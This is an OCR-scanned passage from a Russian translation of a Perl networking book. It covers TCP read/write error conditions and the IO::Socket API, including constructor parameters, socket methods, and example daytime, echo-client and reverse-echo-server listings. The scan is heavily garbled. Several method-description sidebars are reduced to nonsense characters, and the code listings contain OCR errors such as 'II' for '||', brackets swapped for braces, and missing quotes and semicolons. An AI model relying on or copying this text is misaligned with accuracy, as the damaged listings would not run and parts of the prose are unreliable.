включая bind (), listen (), accept () и sockopt ().
Исключительные ситуации, возникающие во
время выполнения операций чтения и записи
Ошибки могут возникать и после установления соединения. При работе с
сетевыми программами почти каждый программист сталкивается со следующими ошибками.
1. Аварийное завершение серверной программы. Если серверная программа
завершается аварийно во время сеанса связи, операционная система закрывает
сокет. С точки зрения клиента это аналогично тому, что происходит, когда
удаленная программа неожиданно закрывает свой конец сокета.
Глава 4. Протокол TCP
123
В результате выполнения операции чтения это приводит к получению
сообщения о конце файла EOF при следующем вызове функции read() или
sysread(). При выполнении операции записи это приводит к
возникновению исключения PIPE, точно так же как в примерах применения канала,
описанных в главе 2. Если в программе будет перехвачено и обработано
исключение PIPE, то функция print () или syswrite() вернет ложное значение
и переменная $! будет установлена равной "Broken pipe" (EPIPE). В ином
случае программа будет завершена аварийно по сигналу PIPE.
2. Произошла авария на хосте сервера при установленном соединении.
Если авария хоста происходит во время активного обмена данными по
соединению TCP, операционная система не имеет возможности корректно
закрыть это соединение. Операционная система, в которой работает
клиентская программа, не может отличить хост, прекративший работу, от
хоста, который просто очень медленно отрабатывает сетевое
взаимодействие. Локальный хост будет продолжать повторно передавать пакеты IP
в надежде на то, что удаленный хост возобновит свою работу. С точки
зрения клиента текущий вызов операции чтения или записи блокируется на
неопределенное время.
Если через некоторое время функционирование удаленного хоста будет
восстановлено, он получит один из повторно переданных пакетов локального
хоста. Не зная, что с ним делать, хост передаст сообщение сброса низкого
уровня, в котором локальному хосту будет сообщено, что ему в соединении
отказано. В этот момент соединение будет разорвано и программа получит либо
сообщение EOF, либо сообщение об ошибке PIPE, в зависимости от
выполняемой операции.
Один из способов предотвращения блокировки на неопределенное время
состоит в установке опции сокета SO_KEEPALIVE. В этом случае соединение
разрывается по тайм-ауту по истечении некоторого периода ожидания ответа,
и сокет закрывается. Тайм-аут поддержки соединения, установленный опцией
SO_KEEPALIVE, является относительно продолжительным (в некоторых
случаях он составляет несколько минут) и не может быть изменен.
3. Сеть прекращает работать при установленном соединении. Если
маршрутизатор или сетевой сегмент прекращает работать при установленном
соединении, в результате чего удаленный хост становится недостижимым, текущая
операция ввода-вывода блокируется до тех пор, пока связь не будет
восстановлена. Однако в этом случае после восстановления сети сеанс обычно
продолжается так, как будто ничего не произошло, и операция ввода-вывода
завершается успешно.
Однако из этого правила есть несколько исключений. Если один из
маршрутизаторов, расположенный по пути следования, вместо того чтобы просто
остановиться, начинает выдавать сообщения об ошибках, такие как "host unreachable"
(хост не достижим), то соединение разрывается и возникает ситуация, аналогичная
рассматриваемой в п. (1). Еще одно исключение состоит в том, что удаленный сер
вер имеет свою систему завершения соединений по тайм-ауту. В таком случае он
устанавливает тайм-аут и закрывает соединение, как только связь по сети будет
восстановлена.
124
Часть!. Основы
Резюме
Сокеты TCP создаются с использованием функции socket (). В клиентской
программе для установления исходящего соединения с удаленным хостом вызывается
функция connect (). В серверной программе вызывается функция bind () для
присвоения сокету адреса, функция listen () — для указания операционной системе, что
сокет готов принимать соединения, и функция accept () — для приема входящих
соединений. После подключения сокет TCP может использоваться для чтения и записи
потоковых данных подобно дескриптору файла.
Сокеты имеют-ряд опций, которые можно устанавливать и определять,
соответственно, с помощью функций setsockopt () и getsockopt (). В отличие от
дескрипторов файлов, после закрытия которых дальнейшее чтение или запись
становится невозможным, сокеты могут быть закрыты наполовину с
использованием функции shutdown (), позволяющей закрыть сокет для чтения, записи или того
и другого.
В данной главе и в предыдущих главах представлен весь API-интерфейс сокетов
Berkeley. В следующей главе описаны объектно-ориентированные расширения языка
Perl, которые значительно упрощают работу с сокетами.
Глава 4. Протокол TCP
125
Глава |~5~|
API-интерфейс 10:: Socket
В предыдущей главе был описан встроенный интерфейс Perl к сокетам Berkeley,
который полностью повторяет соответствующие вызовы библиотеки С. Однако
некоторыми из этих встроенных функций неудобно пользоваться, поскольку для их
вызова приходится преобразовывать адреса и другие структуры данных в двоичные
форматы, необходимые для работы с библиотекой сокетов С.
С появлением объектно-ориентированных расширений Рег15 стало возможным
создание более удобного интерфейса, который основан на использовании модуля
10: : Handle. Модуль Ю: : Socket и другие связанные с ним модули позволяют
упростить код и сделать его более легким для чтения. Эти модули дают возможность
устранить громоздкие вызовы, относящиеся к средствам языка С, и сосредоточиться на
сути приложения.
В настоящей главе представлен API-интерфейс модуля Ю: : Socket, а затем
описаны некоторые основные приложения TCP.
Применение модуля IO::Socket
Прежде чем перейти к подробному описанию модуля Ю: : Socket, ознакомимся
с ним на практике, повторно реализовав некоторые примеры из двух предыдущих глав.
Клиент службы времени
В первом примере будет описана пересмотренная версия клиента службы
времени, разработанного в главе 3 (листинг 3.4). Напомним, что этот клиент
устанавливает исходящее соединение с сервером службы времени, читает одну строку и
завершает работу.
Теперь мы можем исправить небольшой недостаток первых версий примеров
(который не был тогда устранен в целях упрощения кода). Как и во многих других
серверах Internet, в сервере службы времени для обозначения конца строки
предусмотрено применение символов CRLF, а не одного символа LF, как принято в языке
Perl. Перед получением данных от службы времени переменная с обозначением
конца строки устанавливается равной CRLF, поскольку в ином случае считанная строка
будет содержать в конце лишний символ CR.
Код новой версии сценария приведен в листинге 5.1.
126
Часть!. Основы
Листинг 5.1. Клиент службы =•• • и вкот».» • ишняется модуль IO:: Socket
#!/usr/bin/perl
# Файл: time_of_day_tcp2.pl
use strict;
use IO::Socket qw(:DEFAULT :crlf);
my $host = shift II 'localhost';
$/ = CRLF;
my $socket = IO::Socket::INET->new("$host:daytime")
or die "Can't connect to daytime service at $host: $!\n"
chomp(my $time = $socket->getline);
print $time,"\n"
Проведем анализ программы.
Строки 1-4. Инициализация модуля. Выполняется загрузка модуля IO::Socket и импорт
констант ":crlf", а также констант, предусмотренных по умолчанию. Эти константы удобно
снова экспортировать из модуля socket. Имя удаленного хоста берется из командной строки.
Строка 5. Установка переменной с обозначением конца строки. Для чтения строк из
сервера службы времени глобальная переменная $/ с обозначением конца строки устанавливается
равной crlf. Обратите внимание, что эта глобальная опция распространяется на все
дескрипторы файлов, а не только на сокет.
Строки 6,7. Создание сокета. Создается новый объект Ю:: socket путем вызова метода
new модуля Ю::Socket: :INET с указанием адреса назначения в форме $host:service.
Ниже будут рассматриваться и другие способы указания адреса назначения.
Строки 8,9. Считывание значения времени и вывод его на устройство вывода. С сервера
считывается одна строка путем вызова метода getline (), и символы crlf удаляются с
конца строки с помощью функции chomp (). Строка выводится на устройство вывода stdout.
При выполнении этой программы получаем ожидаемый результат.
% time_of_day_tcp.pl wuarchive.wustl.edu
Tue Aug 15 07:39:49 200
Клиент эхо-сервера TCP
Теперь рассмотрим объектно-ориентированную версию клиента службы эхо-
повтора, который описан в главе 4. Код сценария приведен в листинге 5.2.
Листинг 5.2. Клиент эхо-сервера TCP, в котором используется модуль
IO::Socket
#!/usr/bin/perl
# Файл: tcp_echo_cli2.pl
# Применение: tcp_echo_cli2.pl [хост] [порт]
# Клиент эхо-сервера, версия для TCP (IO::Socket)
use strict;
use IO::socket;
my ($bytes_out,$bytes_in) = (0,0);
my $host = shift || localhost'
my $port = shift || echo';
my $socket= IO::socket::INET->new("$host:$port") or die $G;
while (defined(my $msg_out = STDIN->getline)) [
print $socket $msg out;
Глава 5. API-интерфейс 10:.Socket
127
my $msg_in = <$socket>;
print $msg_in;
$bytes_out += length($msg_out);
$bytes_in += length($msg_in);
}
$socket->close or warn $@;
print STDERR "bytes_sent = $bytes_out,
bytes_received = $bytes_in\n";
Проведем анализ программы.
• Строки 1-8. Инициализация сценария. Выполняется загрузка модуля Ю:: socket,
инициализация констант и глобальных переменных, а также обработка параметров командной строки.
• Строка 9. Создание сокета. Вызывается метод ю:: socket:: iNET->new () с
использованием параметра $host:$port. В случае успешного выполнения метод new о возвращает
объект сокета, подключенный к удаленному хосту.
• Строки 10-16. Вход в главный цикл. Теперь программа входит в главный цикл. При каждом
проходе по циклу вызывается функция getline () с дескриптором файла stdin для получения
строки ввода от пользователя. Эта строка текста отправляется на удаленный хост путем вывода
в сокет с помощью функции print (), а ответ сервера считывается с помощью оператора <>.
Ответ выводится на стандартное устройство вывода, и обновляются статистические данные.
• Строки 17,18. Заключительные действия. Главный цикл завершается при закрытии
устройства stdin пользователем. Сокет закрывается, и накопленные статистические данные
выводятся на устройство stderr.
Вы обратили внимание, что в строке 10 для работы с устройством STDIN
используется объектно-ориентированный метод getline () ? Такая возможность возникла в
результате применения модуля IO: :Socket, в котором предусмотрена загрузка модуля
IO: : Handle. Как было описано в главе 2, дополнительным эффектом применения
IO: : Handle является добавление объектно-ориентированных методов ввода-вывода ко
всем дескрипторам файлов, используемым в программе, в том числе и стандартным.
В отличие от программы клиента службы времени, в этом сценарии можно не
задумываться над тем, какие символы используются сервером службы эхо-повтора для
обозначения конца строки, поскольку он просто повторяет буквально все, что ему отправлено.
Обратите также внимание, что в объектах IO: : Socket не нужно устанавливать
режим автоматического сброса, как в примерах главы 4. С появлением версии 1.18
модуля IO: : Socket режим автоматического сброса включен по умолчанию во всех
сокетах, создаваемых с помощью этого модуля. Это относится к версиям модуля,
которые входят в состав Perl 5.00503 и последующих версий языка.
Методы модуля IO::Socket
Теперь модуль IO: : Socket будет описан более подробно.
Иерархия классов IO::Handle
На рис. 5.1 приведена схема иерархии классов IO: : Handle. Прародитель этого
генеалогического дерева, модуль IO: :Handle, предоставляет возможность
применять объектно-ориентированный синтаксис во всевозможных методах ввода-вывода
Perl. Его непосредственный потомок, модуль IO: : Socket, определяет
дополнительно5 Часть I. Основы
ные методы, которые могут применяться для сокетов Berkeley. Модуль IO: : Socket
имеет два потомка. Модуль IO: : Socket: : INET определяет правила поведения,
которые свойственны сокетам домена Internet, а модуль IO: : Socket: : UNIX —
соответствующие правила поведения для сокетов AF_UNIX (они же AF_LOCAL).
В программе создаются непосредственно не объекты IO: : Socket, а объекты
IO:: Socket: : INET или IO:: Socket: : UNIX. И в этой главе, и почти во всей
оставшейся части книги в основном применяется подкласс IO:: Socket: : INET. Будущие версии
этой библиотеки ввода-вывода могут также поддерживать другие домены адресования.
К числу иных важных потомков модуля IO: : Handle относятся IO: :File, который
был описан в главе 2, и IO: :Pipe, который предоставляет объектно-ориентированный
интерфейс к вызову функции pipe () языка Perl. От модуля IO: : Socket: : INET
происходит модуль Net:: Cmd, который является предком семейства модулей независимых
разработчиков, предоставляющих интерфейсы к конкретным сетевым службам,
предназначенным для работы с командной строкой, включая FTP и POP (Post Office Protocol—
Почтовый протокол). Эти модули будут рассматриваться, начиная со следующей главы.
К пространству имен IO:: * принадлежат и другие модули, хотя они не происходят
непосредственно от модуля IO:: Handle. В их число входят модуль IO:: Dir, который
предоставляет объектно-ориентированные методы чтения и управления каталогами;
IO:: Select, предназначенный для проверки готовности наборов дескрипторов файлов
к выполнению ввода-вывода; и Ю: : Seekable, который позволяет выполнять
произвольный доступ к файлу на диске. Модуль IO: : Select описан в главе 12, где он используется
для реализации сетевых серверов на основе мультиплексирования ввода-вывода.
IO::Handle
IO::File IO::Pipe IO::Socket
IO::Socket::INET IO::Socket::UNIX
Рис. 5.1. Иерархия классов IO: : Handle
Создание объектов IO::Socket::INET
Как и при использовании других членов семейства IO: : Handle, для создания
нового объекта IO: : Socket: : INET вызывается его метод new (), как показано ниже.
$sock = IO::Socket::INET->new('wuarchive.wustl.edu:daytime');
Затем этот объект применяется во всех операциях ввода-вывода, связанных с со-
кетом. Поскольку модуль IO: : Socket: : INET происходит от модуля IO: : Handle, его
объекты наследуют все методы чтения, записи и управления аварийными ситуациями,
которые были описаны в главе 2. К этим унаследованным методам модуль
IO: : Socket: : INET добавляет такие (предназначенные для работы с сокетом)
методы, как accept(),connect(),bind() и sockopt().
Как и при использовании модуля IO::File, сразу после создания объекта
IO:: Socket появляется возможность использовать этот объект, вызывая его методы.
$sock->print('Here comes the data.");
или используя этот объект как обычный дескриптор файла.
print $sock 'Ready or not, here it comes.';
Глава 5. API-интерфейс IO::Socket
129
Каждый разработчик вправе применять наиболее подходящий для него
синтаксис. В связи с тем, что эти две формы вызова обеспечивают разную
производительность (причины этого описаны в конце главы), автор предпочитает
функционально-ориентированный стиль, если нет существенной разницы между этими стилями
работы с объектом.
Конструктор IO: :Socket: : INET->new() является чрезвычайно мощным и
фактически служит самой важной побудительной причиной использования объектно-
ориентированного интерфейса сокетов.
§ '■-' $£ocket = IO: tSocket: :INET->new(eargs)^ " ~*" ,, V !3
| л Метод класса newt)*предпринимает попытку создать объект модуля iof:Socket: :INET. OhI
j возвращает новый объект, а при возникновении сшибки — значение undef. В последнем случае ле- '
| ременная $ (содержит сообщение системы об ошибке, а переменная $@ включает более содержа- •
(тельное описание> ошибки, выработанное самим модулем.: ..„ „ ^ , ,а 4,.J;j
Метод IO: : Socket:: INET->new () принимает параметры, которые могут быть
представлены в двух формах. В простой, "сокращенной" форме метод new () принимает
один параметр, состоящий из имени хоста, к которому должно быть выполнено
подключение, двоеточия и номера порта или имени службы. Модуль IO: : Socket: : INET
создает сокет TCP, находит хост и имя службы, строит правильную структуру
sockaddr_in и автоматически предпринимает попытку выполнить подключение к
удаленному хосту с помощью функции connect (). Этот сокращенный формат является
очень гибким. Например, допустимы любые из следующих параметров.
wuarchive.wustl.edu:echo
wuarchive.wustl.edu:7
128.252.120.8:echo
128.252.120.8:7
Кроме указания службы по имени или номеру порта, можно объединить эти две
формы так, чтобы модуль IO: : Socket: : INET вначале сделал попытку найти имя
службы, а затем, если эта попытка окажется неудачной, перешел к использованию
жестко закодированного номера порта. Это— формат hostname: service (port).
Например, чтобы подключиться к службе эхо-повтора хоста wuarchive даже с того
компьютера, на котором по каким-то причинам она не указана в сетевой
информационной базе данных, можно ввести следующее.
my $echo = IO::Socket::INET->new('wuarchive.wustl.edu:echo(7)')
or die "Can't connect: $!\n";
Метод new () может также применяться для создания сокетов, пригодных для
приема входящих соединений, для обмена информацией по протоколу UDP,
широковещательной рассылки и т.д. Для этих более универсальных способов применения
метода new () предусмотрен формат вызова с ключевыми параметрами, который
выглядит примерно так:
my $echo = IO::Socket::INET->new(PeerAddr=>"wuarchive.wustl.edu',
PeerPort=>'echo(7)',
Type =>SOCK_STREAM,
Proto =>'tcp')
or die "Can't connect: $!\n"
Как описано в главе 1, символ "=>" воспринимается интерпретатором Perl как
синоним символа ",". В этом примере пары параметров приведены на отдельных
строках только для удобства чтения. В следующих примерах все пары имя/параметр часто
будут размещаться в одной строке.
130
Часть!. Основы
Конструктору модуля IO: :Socket: :INET может быть передан большой список
параметров. Эти параметры перечислены в табл. 5.1.
Таблица 5.1. Параметры метода IO: : Socket: : INET->new()
Параметр Описание Значение
<имя хоста или адрес хоста>
[:<порт>]
<имя службы или истер службы>
<имя хоста или
адрес хоста> [:лорт]
<имя службы или номер порта>
<имя протокола или
помер протокола>
<целое число
■(логическим параметр>
<целое число
^логический параметр>
Параметры PeerAddr и PeerHost являются синонимами; они служат для указания
хоста, к которому должно быть выполнено подключение. Если конструктору модуля
IO: : Socket: : INET передается любой из этих параметров, он предпринимает
попытку вызвать метод connect () для подключения к указанному хосту. Эти параметры
могут состоять из имени хоста, IP-адреса или комбинации имени хоста и номера
порта в формате, который был описан выше при обсуждении простой формы вызова
метода new (). Если в состав другого параметра не входит номер порта, он должен быть
указан в параметре PeerPort.
Параметр PeerPort указывает порт, к которому должно быть выполнено
подключение, и применяется, если номер порта не указан вместе с именем хоста. Этот
параметр может быть приведен в виде числового номера порта, символического имени
службы или в комбинированной форме, такой как " f tp (2 2)".
Параметры LocalAddr, LocalHost и LocalPort используются в программах,
действующих в качестве серверов и предназначенных для приема входящих
соединений. Параметры LocalAddr и LocalHost являются синонимами; они указывают
IP-адрес локального сетевого интерфейса. Параметр LocalPort указывает номер
локального порта. Если конструктор модуля IO: :Socket: : INET обнаруживает любой
из этих параметров, он формирует локальный адрес и предпринимает попытку
вызвать для привязки к нему функцию bind ().
PeerAddr Адрес удаленного хоста
PeerHost Синоним параметра PeerAddr
PeerPort Удаленный порт или служба
LocalAddr Адрес локального хоста, к которому
должен быть привязан сокет
LocalHost Синоним параметра LocalAddr
LocalPort Порт локального хоста, к которому
должен быть привязан сокет
Proto Имя (или номер) протокола
Туре Ттауссжета.
Listen Размер очереди входящих
соединений для приемного сокета
Reuse Установить опцию SO_REUSEADDR
перед привязкой сокета
Timeout Значение тайм-аута
Multi-Homed Опробовать все адреса на хосте
с несколькими сетевыми
интерфейсами
Глава 5. API-интерфейс IOr.Sochet
131
Сетевой интерфейс может быть указан как IP-адрес в виде четырех чисел,
разделенных точками, как доменное имя хоста или как упакованный IP-адрес. Номер порта
может быть представлен в виде числового номера порта, имени службы или в форме
"service (port)". Можно также объединить локальный IP-адрес с номером порта,
как в примере "127.0.0. l:http (80)". В этом случае конструктор модуля
IO: :Socket: : INET принимает номер порта из параметра LocalAddr и игнорирует
параметр LocalPort.
Если указан параметр LocalPort, но не LocalAddr, то конструктор модуля
IO: : Socket: : INET выполняет привязку к адресу, обозначенному символом шаблона
INADDR_ANY, позволяя сокету принимать запросы на соединения, поступающие из
любого сетевого интерфейса хоста. Именно это обычно и требуется в программе.
В программах, основанных на использовании потоковых протоколов, которые
должны обеспечивать прием входящих соединений, необходимо также указывать
параметры Listen и, возможно, Reuse. Параметр Listen указывает размер очереди
приемного сокета. Если этот параметр задан, то модуль IO: : Socket после создания
нового сокета будет вызывать функцию listen () с указанием этого параметра в
качестве значения длины очереди. Этот параметр является обязательным, если в
дальнейшем должна быть вызвана функция accept ().
Если параметр Reuse имеет истинное значение, это служит для конструктора модуля
IO:: Socket:: INET указанием, что для нового сокета должна быть установлена опция
SO_REUSEADDR. Эта опция полезна для серверов, работающих По протоколу с
установлением логического соединения, для которых время от времени приходится выполнять
перезапуск. Без этой опции серверу приходится ожидать несколько минут между
завершением работы и повторным запуском, чтобы предотвратить возникновение ошибок
типа "address in use" (адрес занят) во время вызова функции bind ().
Параметры Proto и Туре обозначают протокол и тип сокета. Протокол может
иметь символическое обозначение (например, "tcp") или числовое обозначение,
в котором используется значение, возвращенное функцией getprotobyname ().
Параметр Туре должен быть установлен равным одной из констант SOCK_*, такой как
SOCK_STREAM. Если в вызове конструктора модуля IO: : Socket: : INET не указана
одна или обе эти опции, то соответствующие значения этих параметров определяются
из контекста. Например, если не указан параметр Туре, то конструктор модуля
10: : Socket: : INET выбирает тип, соответствующий протоколу. Если не указан
параметр Proto, но задано имя службы для этого порта, то конструктор модуля
10: : Socket:: INET предпринимает попытку определить, какой протокол должен
применяться для указанной службы. Если нет другого выбора, IO: :Socket: : INET
в качестве имени протокола принимает по умолчанию значение "tcp".
Параметр Timeout устанавливает значение тайм-аута в секундах, которое должно
использоваться в некоторых операциях. В настоящее время значения выдержки
времени устанавливаются для внутренних вызовов функции connect () и для метода
accept (). Установка значения параметра Timeout позволяет предотвратить зависание
клиентской программы на неопределенное время, если удаленный хост недоступен.
Опция MultiHomed может применяться в тех редких случаях, когда клиент TCP
должен подключаться к хосту с несколькими IP-адресами и не может определить,
какой именно IP-адрес должен использоваться. Если этот параметр установлен равным
истинному значению, то в методе new () применяется функция gethostbyname ()
для поиска всех IP-адресов хоста, указанного параметром PeerAddr. Затем
последовательно предпринимаются попытки подключения к каждому из IP-адресов хоста до
тех пор, пока одна из них не окажется успешной.
132
Часть!. Основы
В заключение укажем, что клиентские программы TCP, предназначенные для
создания исходящих соединений, должны предусматривать вызов метода new () с
параметром Proto, равным tcp, и параметром PeerAddr, в котором дополнительно
указан номер порта, или с парой параметров PeerAddr/PeerPort.
my $sock = IO::Socket::INET->new(Proto =>*tcp'.
Pee rAddr=>'www.yahoo.com *,
PeerPort=>'http(80)')
В серверных программах TCP, которые должны принимать входящие соединения,
необходимо предл'смотреть вызов метода new() с параметром Proto, равным "tcp";
с параметром Local Port, обозначающим порт, к которому должна быть выполнена
привязка; и параметром Li sten, указывающим желаемую длину очереди приемного сокета.
my $listen = IO::Socket::INET->new(Proto =>'tcp',
LocalPort=>2007,
Listen =>128)
Как описано в главе 19, в приложениях UDP достаточно только указать параметр
Proto, равный udp, или параметр Туре, равный SCCK_DGRAM. Общая форма вызова
метода является одинаковой и для клиентов и для серверов.
my $udp = IO::Socket::INET->new(Proto=>'udp');
Методы объекта 10:: Socket
После создания сокет можно использовать в качестве устройства ввода-вывода во
всех функциях и операторах ввода-вывода, включая print (), read (), о, sysread ()
и т.д. Могут также применяться вызовы объектно-ориентированных методов,
рассмотренные в главе 1 при описании модуля IO: : File. Кроме того, объекты модуля
IO: : Socket:: INET дополнительно приобретают методы, присущие сокетам.
Рассмотрим эти методы.
5connected_sock©t <■ SXisten£socket->JScoept{) " ;'-" " .,{
($connected_socket,$remote_addr) = $listen_socket->accept() :|
Метод accept () выполняет ту же задачу, что и функция с аналогичным именем в функциональ- I
ночэриснтиролпьиСй API-интерфейсе. Дайный метод, действительный только при вызове из объекта ;
приемного сокета, еыбирает следующее входящее соединение из очереди и возвращает подклю- !
ценный сокет сеанса, который может применяться для связи с удаленным хостом. Новый сокет
наследует все Атрибуты своего родительского объекта, но, в отличие от него, является подключенным. Щ
Метод, accept (> при вызове в скалярном контексте возвращает подключенный сокет. При вызо- !
I в<- в контексте списка он возвращает список с двумя элементами, первым из которых является под-;
ключенный с«кет, а гторым— упакованный адрес удаленного хоста. Этот адрес можно также прлу- I
чить ^адальнейшем; вызвав метод рёёгпагае {)подключенного сокета.
I' 5return_val "= $sock->connect{$dest_addr) H
$return_yal = $sock->bind($BiY_addr) "' Я
$xetum_val = $sock->listen($max_queue) 5
Эти три метода, относящиеся к реализации протокола TCP, применяются редко, поскольку они "
обычно вызывается автоматически конструктором riew.j). Однако .дели* их нужно вызвать-вручную, j
это можно сделать, создав новый сокет TCP без указания параметра PcerAddr или Listen. |
Ji "S'socfc. = l6::ibcket::INET->newj(Prpto-=>*tcp,'l; "* j
1 j $dest addr = sptkaddr in(l. v. j # w т;д.
'• $sock~>connect($dest addr).; v . ,';
$return_val = $sock->connect(Sport,$host) ,j|
<$return_val = $sock->biii£i($port,$host) . .-.».:!
Глава 5. API-интерфейс IOr.Sochet
133
I Для удобства в работе предусмотрены альтернативные-формы' вызова методов connect ()
i и bind () с двумя параметрами, в которых применяются: неупакованные значения номера порта
! и адреса-хоста, а не упакованный адрес. Адрес хоста может быть указан в виде четырех .чисел, раз-
| деленных точками, или в аиде символического имени хоста.
[ $return_val = $socket->shutdown($how)
! Как и в функционально-ориентированном API-интерфейсе, метод shutdown (> предоставляет
i более мощный способ закрытия сокета. Он позволяет закрыть <Х)кет. дажо если еще существуют
| другие открытые копии сокета в дочерних процессах, созданных путем ветвления. Параметр Show
I управляет тем, какая часть двунаправленного-сокетв должна Сытыйкрыта. с ислол'^зреани^ы кедов,
t приведенных в табл.,3.1.
$my_addr ■■= $sock->sockname()
$her addr = Ssbck->peername()
Методы socknameO и peernamet)— это просто оболочки для их' ^^ункциональнрг j
ориентированных эквивалентов. Как и ссютветствующие^им; встроенные функции, (Э^^етрдыквоэ-.^
вращают упакованные адреса сокетое, которые должны бьп-ь распакованы с j помесью ^функции7:
sockaddr_in().
$result, «=' $sock->sockport()
' Sresult к $sock->peerport()
$ result = $sock->sockaddrt)
Sxeeult ■= $sock->peeraddr()
Эти четыре метода представляют собой встомсгательные-фу+нкфй, которые применяются для <
распаковки, значений, возвращаемых методами socknanie'O'^
и peerport < )> возвращают номера портов локальной и уд^латрй'к&й^в^хточек еркёта-соотвегетт
венно, а методы sockaddri) и peeraddrO — 1Р-адреса'лркал1ы^Ьйзй! удалён^
сокета в виде двоичных структур, применимых для пеглдачй функции;^
преобразования полученного результата в формат с^еть^ьмя числами, разделенными точками, несб-
ходимо дополнительно вызвать функцию lnet^ntie (J.
$my_name *= $sock->sockhost()
$her_name^s $sock->peerhost{)
Эти методы выполняют немного .больший сбъем ра&этыивезеращают локальный и -удаленный
IP-адреса в полном формате с четырьмя "числами, раздШенными точками, ("a'a.^v, ее. с?с?').:€сли
нужно определить доменное имя второго участника соединения в формате с чёты^мя числами, I
разделенными точками, можно применить следующую ксшструкцию. I
$peer = gethostbyaddr~($jsocK->pe*rad^t,^F_INEf> || $5ock-*>pcerhost; Jt
Sresult — $sock~>connected()
Метод, connected() возвращает истиннее значение, если.сскет подключен it удаленному хосту, i
| в ином случае—ложное значение. Этот метод вьшолняет.свою ракету, вызывая метол peername (].
' ^protocol = 5sock->protocol ()
I $type » §sock->socktype()
I $domain = $sock->sockdomain()
Эти три метода возвращают'основную информацию о сокете, в том числе номер Протокола, тип ^
'■ и домен сокета. Данные методы могут применяться только для получения атрибутов объекта сокета. |
' Их нельзя использовать для изменения характеристик уже созданного объекта: j
i $value, = $sock->sockopt($option[,$valuel) t
'' Метод sockopto может служить для получения и/или установки опции сокета. Он является!
I внешним интерфейсом и для метода getsockopt,(), .и для^метода setsockopt<)'-. При вызове;,
j с одним числовым параметром метод sockoptcr выбирает текущее значение указанной опции, 1
1 а при вызове с опцией и новым значением устанавливает заданное значение опции и возвращает ,
i код результата, который свидетельствует об успешном или неудачном завершении. При вызове это-J
| го метода нет необходимости указывать уровень опции.., как при использовании функции'
| getsockopt (), поскольку предполагается применение параметра^50Ь_80СКЕТ^ 1
134
Часть!. Основы
- -г В* отличие от встроенной функции getsockopt (), метод объекта автоматически прербразовы- *
вает упакованный параметр, возвращенный основополагающим системным пыздояи, в целое число, I
поэтому нет необходимости распаковывать значения опций, возвращенные, методом sockopto. 1
Как было описано ранее, наиболее заметным1 исключением из этого правила является опция ^
sojcinger, в качестве параметра установки которой применяется 8-байтовая структура linger. J
: Sval «= timeout([$timeout]) v "- ^r- Щ
i ■■,-■- - -• j
Метод timeout (Д позволяетлопределить или установить значение тайм-аута, которое используется ^
модулем jo: pocket Для методов cotinect О и accept (). При вызове слдаслрвым параметром дан- j
ный метод устанавливает значение тайм-аута и возвращает значение новой установки. В ином случае '
он возвращает текущую установку. В настоящее время значение тайм-аутд не .используется для вызо- ,
вов, которые предусматривают отправку или приём данных. Для достижения требуемых результатов I
может применяться способ с использованием оператора evai {}, описанный в главе 2. А
$bytes = $sock->send($data[,$flags ,$deetination]) - '2
'Address ■= $sock->recv($buffer,$length[ ,$flags]) ,-^, . ,. * I
Эти методы являются внешним интерфейсом,*функциям send () и recv о и будут описаны бо- \
лее подробно при рассмотрении вопросов связи по протоколу UDP е главе 19 . >,- л ,г.-.; *.. ,^к4
Интересный побочный эффект такой реализации тайм-аута состоит в том, что
после установки выдержки времени в объектах модуля IO: : Socket: : INET появляется
возможность прервать выполнение вызовов connect () и accept {) с помощью
сигналов. Это позволяет с помощью обработчика сигнала корректно завершить
программу, которая зависла, ожидая выполнения вызова connect () или accept ().
Пример применения такого эффекта приведен в следующем разделе.
Дополнительные практические примеры
Теперь рассмотрим дополнительные примеры, которые иллюстрируют важные
особенности API-интерфейса IO: : Socket. Первым примером является доработанная
и улучшенная версия программы инвертирующего эхо-сервера, приведенной в главе 4.
Вторым примером служит простой Web-клиент.
Очередная версия программы инвертирующего
эхо-сервера
Ниже описана усовершенствованная версия программы инвертирующего эхо-
сервера, приведенной в листинге 4.2. Новая версия не только элегантнее (и, по
мнению автора, проще в изучении), но и во многом превосходит предшествующую вер
сию. В ней потенциально опасный обработчик сигнала заменен обработчиком,
который просто устанавливает флажок и выполняет возврат. Это позволяет избежать
проблем, вытекающих из выполнения вызовов функций ввода-вывода в обработчике,
и проблем, связанных с вызовом функции exit () на платформах Windows. Еще одно
усовершенствование состоит в том, что сервер выполняет преобразование имен для
входящих соединений и выводит имя удаленного хоста и номер порта на стандартное
устройство вывода сообщений об ошибках. И наконец, соблюдается соглашение
Internet о том, что в серверах для обозначения конца строки должна применяться
последовательность CRLF. Это значит, что переменная $/ будет установлена равной
CRLF и к концу каждой из выводимых строк будут добавляться символы CRLF. Код
усовершенствованного сервера приведен в листинге 5.3.
Глава 5. API-интерфейс IO::Socket
135
Листинг 5.3. Инвертирующий эхо-сервер, в котором применяется модуль
10::Socket
0: #!/usr/bin/perl
1: # Файл: tcp_echo_serv2.pl
2: # Применение: tcp_echo_serv2.pl [порт]
3: use strict;
4: use IO::Socket qw(:DEFAULT :crlf);
5: use constant MY_ECHO_PORT => 2007;
6: $/ = CRLF;
7: my ($bytes_out,$bytes_in) = (0,0);
8: my $quit =0;
9: $SIG{INT} = sub { $quit++ };
10: my $port = shift || MY_ECHO_PORT;
11: my $sock = IO::Socket::INET->new(Listen => 20,
12: LocalPort => $port,
13: Timeout => 60*60,
14: Reuse => 1)
15: or die "Can't create listening socket: $!\n";
16: warn "waiting for incoming connections on port $port...\n"
17: while (!$quit) {
18: next unless my $session = $sock->accept;
19: my $peer = gethostbyaddr($session->peeraddr,AF_INET) ||
$session->peerhost;
20: my $port = $session->peerport;
21: warn "Connection from [$peer,$port]\n";
22: while (<$session>) {
23: $bytes_in += length($_);
24: chomp;
25: my $msg_out = (scalar reverse $_) . CRLF;
26: print $session $msg_out;
27: $bytes_out += length($msg_out);
28: }
29: warn "Connection from [$peer,$port] finished\n";
30: close $session;
31: )
32: print STDERR "bytes_sent = $bytes_out, bytes_received =
$bytes_in\n";
33: close $sock;
Проведем анализ программы.
• Строки 1-7. Инициализация сценария. Включена строгая проверка синтаксиса и загружен
модуль Ю:: Socket. Импортируются константы, применяемые по умолчанию, и константы, которые
служат для обозначения новой строки, путем импортирования тегов : default и : cri f.
Локальный порт определяется как константа, и инициализируются счетчики байтов для
накопления статистических данных. Устанавливается также значение глобальной переменной $/,
равное crlf, в соответствии с соглашением, принятым в сети.
• Строки 8,9. Установка обработчика сигнала int. Устанавливается обработчик сигнала int для
обеспечения корректного останова сервера при нажатии пользователем клавиши прерывания.
Улучшенный обработчик просто устанавливает флажок $quit равным истинному значению.
• Строки 10-15. Создание объекта сокета. Номер порта устанавливается из командной строки,
